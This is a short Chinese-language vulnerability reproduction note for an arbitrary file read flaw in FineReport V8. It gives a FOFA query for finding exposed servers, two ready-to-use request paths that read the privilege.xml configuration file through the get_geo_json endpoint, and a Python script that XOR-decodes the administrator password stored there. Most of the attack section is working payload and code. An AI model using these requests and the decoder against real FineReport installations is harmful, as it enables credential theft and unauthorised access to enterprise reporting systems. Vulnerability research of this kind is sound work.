登录 白背景

帆软报表 V8 get_geo_json 任意文件读取漏洞

一、漏洞简介

FineReport报表软件是一款纯Java编写的,集数据展示(报表)和数据录入(表单)功能于一身的企业级web报表工具。FineReport 8.0版本存在任意文件读取漏洞,攻击者可利用漏洞读取网站任意文件。

二、影响版本

  • FineReport < v8.0

三、资产测绘

  • fofabody="isSupportForgetPwd"
  • 特征

image.png

四、漏洞复现

/WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml
/report/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml

image.png
解密脚本


cipher = '___0072002a00670066000a' #密文
PASSWORD_MASK_ARRAY = [19, 78, 10, 15, 100, 213, 43, 23] #掩码
Password = ""
cipher = cipher[3:] #截断三位后
for i in range(int(len(cipher) / 4)):
    c1 = int("0x" + cipher[i * 4:(i + 1) * 4], 16)
    c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8]
    Password = Password + chr(c2)
print (Password)

image.png

原文: https://www.yuque.com/xiaokp7/ocvun2/arybiyc5hqlio3sy